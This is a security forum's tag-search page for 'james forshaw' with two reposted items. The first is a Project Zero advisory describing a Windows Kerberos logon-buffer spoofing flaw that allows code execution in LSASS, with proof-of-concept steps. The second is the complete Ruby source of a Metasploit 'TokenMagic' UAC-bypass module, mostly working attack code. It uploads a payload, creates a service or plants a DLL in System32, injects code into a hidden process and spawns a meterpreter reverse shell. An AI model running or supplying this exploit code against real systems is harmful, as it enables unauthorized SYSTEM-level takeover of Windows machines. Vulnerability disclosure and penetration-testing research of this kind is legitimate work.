Search the Community
Showing results for tags 'james forshaw'.
-
On Windows, the buffer for redirected logon context does not protect against spoofing resulting in arbitrary code execution in the LSA leading to local elevation of privilege. advisory-info.txt Windows: Kerberos Redirected Logon Buffer EoP Platform: Windows Server 2022 Class: Elevation of Privilege Security Boundary: User Summary: The buffer for redirected logon context doesn't protect against spoofing resulting in arbitrary code execution in the LSA leading to local EoP. Note: This is distinct from the previous issue I reported (case 70653). That was manipulating the redirected logon credentials buffer, this instead manipulated the buffer used to track the context between CredSSP and the final authentication. The previous issue might be exploitable remotely whereas this is local only as you need to be able to encrypt the buffers. Description: When a remote credential guard connection is made via CredSSP the TSSSP needs to store the credentials for later use by the logon process. This is done by encrypting the credentials using the CredProtect API into a string which can later be passed as the password to LsaLogonUser to complete the logon. The encrypted credentials contain the pointer to the TSSSP context and function pointers to callback functions to get the redirected credentials. The structure also contains a GUID, but that's static across versions of Windows. If I had to guess, the developers assumed that because CredProtect encrypts using a per-logon-session key that a normal user couldn't encrypt their own buffer which would be accepted by the Kerberos package, as both TSSSP and Kerberos run in the SYSTEM logon session. Unfortunately that's not true, CredProtectEx API (and the underlying RtlEncryptMemory) API added a flag to encrypt the buffer for use by the SYSTEM logon session, the user can't decrypt the buffer but that doesn't matter. You do need to do a few tweaks to the buffer to get it accepted but that requires no privileges. At a basic level this can be used to call an arbitrary function in LSASS by encrypting your own buffer and passing it to LsaLogonUser (or it's higher level equivalents) as the password. This doesn't require that Terminal Services is enabled on the machine, but it does need Remote Guard enabled otherwise the Kerberos package will ignore the buffer. LSASS does have CFG/XFG enabled but you could call something like LoadLibrary or WinExec as you control the first parameter's pointer value. Getting memory addresses might not be that difficult as it seems LSASS leaks pointers all over the place, for example the TsPkgContext field in the MS-RDPEAR isolated credential request is just a heap address of the TS_CONTEXT pointer which contains the logon buffer, you could therefore probably use CredSSP itself to setup a suitable buffer and leak its address for any in-process data you need. Fixing wise, the design of this is terrible and shouldn't have passed a basic security design review, but it is what it is. At least you probably should use a unique random value for the magic GUID so that it can't be trivially spoofed. However be careful, the encryption scheme just seems to be CBC with no per-encryption salt or cryptographic authentication which means that if you leave the GUID at the front it might be possible to copy the encrypted GUID from a real buffer (using CredSSP to generate it) then the rest can be corrupted in such a way to allow for exploitation. Proof of Concept: I've provided a PoC as a C++. This will just try and get LoadLibrary called with an arbitrary pointer. It's expected to crash LSASS, however, calling LoadLibrary is just to demonstrate it's possible. I've not put much effort into developing an end to end exploit as it isn't necessary. 1) Compile the C++ project. 2) Enable remote credential guard on the system using the registry from an admin prompt: reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa /v DisableRestrictedAdmin /d 0 /t REG_DWORD 3) Run the POC as a non-admin user. Expected Result: The logon should fail. Observed Result: The LSASS process crashes trying to dereference an invalid pointer. This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2022-06-06. Related CVE Numbers: CVE-2022-24545,CVE-2022-30165. Found by: forshaw@google.com Download: GS20220706153551.tgz (6 KB) Source
-
This Metasploit module leverages a UAC bypass (TokenMagic) in order to spawn a process/conduct a DLL hijacking attack to gain SYSTEM-level privileges. Windows 7 through Windows 10 1803 are affected. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE # Needed for generate_payload_dll include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Windows::FileSystem include Msf::Post::Windows::Powershell include Msf::Post::Windows::Priv include Msf::Post::Windows::ReflectiveDLLInjection prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Windows Privilege Escalation via TokenMagic (UAC Bypass)', 'Description' => %q{ This module leverages a UAC bypass (TokenMagic) in order to spawn a process/conduct a DLL hijacking attack to gain SYSTEM-level privileges. Windows 7 through Windows 10 1803 are affected. }, 'License' => MSF_LICENSE, 'Author' => [ 'James Forshaw', # Research 'Ruben Boonen (@FuzzySec)', # PoC 'bwatters-r7', # msf module 'jheysel-r7' # msf module ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Targets' => [ [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2017-05-25', 'References' => [ ['URL', 'https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/UAC-TokenMagic.ps1'], ['URL', 'https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-1.html'], ['URL', 'https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-2.html'], ['URL', 'https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-3.html'] ], 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ], 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp', 'WfsDelay' => 900 } ) ) register_options([ OptString.new('SERVICE_NAME', [false, 'Service Name to use (Random by default).', Rex::Text.rand_text_alpha(5..9)]), OptString.new('WRITABLE_DIR', [false, 'Directory to write file to (%TEMP% by default).', nil]), OptString.new('SERVICE_FILENAME', [false, 'Filename for Service Payload (Random by default).', Rex::Text.rand_text_alpha(5..9)]), OptEnum.new('METHOD', [ true, 'SERVICE or DLL, please select which attack method you would like to use (SERVICE by default). Note that the System Orchestrator service which loads the overwritten DLL when using the DLL method can take up to 10 minutes to trigger', 'SERVICE', ['SERVICE', 'DLL'] ]) ]) end def setup_process begin print_status('Launching notepad to host the exploit...') notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true) process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError # Sandboxes could not allow to create a new process # stdapi_sys_process_execute: Operation failed: Access is denied. print_error('Operation failed. Trying to elevate the current process...') process = client.sys.process.open end process end def inject_magic(process) if sysinfo['Architecture'] == ARCH_X64 library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'uso_trigger', 'uso_trigger.x64.dll') elsif sysinfo['Architecture'] == ARCH_X86 library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'uso_trigger', 'uso_trigger.x86.dll') end library_path = ::File.expand_path(library_path) print_status("Reflectively injecting the trigger DLL into #{process.pid}...") dll = ::File.read(library_path) exploit_mem, offset = inject_dll_data_into_process(process, dll) print_good('Trigger injected.') payload_mem = inject_into_process(process, payload.encoded) print_good('Payload injected. Starting thread...') process.thread.create(exploit_mem + offset, payload_mem) end def launch_dll_trigger print_status('Trying to start notepad') process = setup_process inject_magic(process) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') rescue Rex::Post::Meterpreter::RequestError => e elog(e) print_error(e.message) end def payload_arch payload.arch.include?(ARCH_X64) ? ARCH_X64 : ARCH_X86 end def exploit win_dir = session.sys.config.getenv('windir') cmd_path = "#{win_dir}\\system32\\cmd.exe" if datastore['SERVICE_FILENAME'] service_filename = datastore['SERVICE_FILENAME'] else service_filename = Rex::Text.rand_text_alpha(5..9) end service_filename = "#{service_filename}.exe" unless service_filename.end_with?('.exe') if datastore['SERVICE_NAME'] service_name = datastore['SERVICE_NAME'] else service_name = Rex::Text.rand_text_alpha(5..9) end if datastore['WRITABLE_DIR'] writable_dir = datastore['WRITABLE_DIR'] else writable_dir = session.sys.config.getenv('TEMP') end if datastore['METHOD'] =~ /DLL/i bin_path = "#{writable_dir}\\WindowsCoreDeviceInfo.dll" payload = generate_payload_dll vprint_status("Payload DLL is #{payload.length} bytes long") client.core.use('powershell') unless client.ext.aliases.include?('powershell') register_file_for_cleanup('C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll') # Register this file for cleanup so that if we fail, then the file is cleaned up. # Replace Value in Generic Script. cmd_args = "/c move #{bin_path} C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll" else bin_path = "#{writable_dir}\\#{service_filename}" payload = generate_payload_exe_service({ servicename: service_name, arch: payload_arch }) vprint_status("Service Name = #{service_name}") client.core.use('powershell') unless client.ext.aliases.include?('powershell') # Replace Value in Generic Script. Note Windows 7 requires spaces after the equal signs in the below command. cmd_args = "/c sc create #{service_name} binPath= #{bin_path} type= own start= demand && sc start #{service_name}" end # Check target print_status('Checking Target') validate_active_host validate_payload # Upload the payload print_status("Uploading payload to #{bin_path}") write_file(bin_path, payload) register_file_for_cleanup(bin_path) # Read in Generic Script script = exploit_data('tokenmagic', 'tokenmagic.ps1') script.gsub!('_CMD_PATH_', cmd_path) script.gsub!('_CMD_ARGS_', cmd_args) # Run Exploit Script print_status("Running Exploit on #{sysinfo['Computer']}") begin print_status('Executing TokenMagic PowerShell script') session.powershell.execute_string({ code: script }) rescue Rex::TimeoutError => e elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e) print_error('Caught timeout. Exploit may be taking longer or it may have failed.') end if datastore['METHOD'] =~ /DLL/i launch_dll_trigger print_status("Note that the System Orchestrator service which loads the overwritten DLL when using the DLL method can take up to 10 minutes to trigger and recieve a shell.") end print_good('Enjoy the shell!') end def validate_active_host print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") rescue Rex::Post::Meterpreter::RequestError => e elog('Could not connect to session', error: e) raise Msf::Exploit::Failed, 'Could not connect to session' end def validate_payload vprint_status("Target Arch = #{sysinfo['Architecture']}") vprint_status("Payload Arch = #{payload.arch.first}") unless payload.arch.first == sysinfo['Architecture'] fail_with(Failure::NoTarget, 'Payload arch must match target arch') end end def check sysinfo_value = sysinfo['OS'] build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/) if build_num.nil? return CheckCode::Unknown("Couldn't retrieve the target's build number!") else vprint_status("Target's build number: #{build_num}") build_num = build_num[0].to_i end vprint_status("Build Number = #{build_num}") if datastore['METHOD'] =~ /service/i # Service method has been tested on Windows 7, 8 and 10 (1803 and ealier) return Exploit::CheckCode::Appears if (build_num >= 7600 && build_num <= 17134) elsif (sysinfo_value =~ /10/ && build_num >= 15063 && build_num <= 17134) # DLL method has been tested on Windows 10 (1703 to 1803) return Exploit::CheckCode::Appears elsif (datastore['METHOD'] =~ /dll/i && build_num >= 7600 && build_num < 15063) print_error("The current target is not vulnerable to the DLL hijacking technique. Please try setting METHOD to 'SERVICE' and then try again!") end Exploit::CheckCode::Safe end end Source
-
- 1
-
- james forshaw
- bwatters-r7
-
(and 2 more)
Tagged with: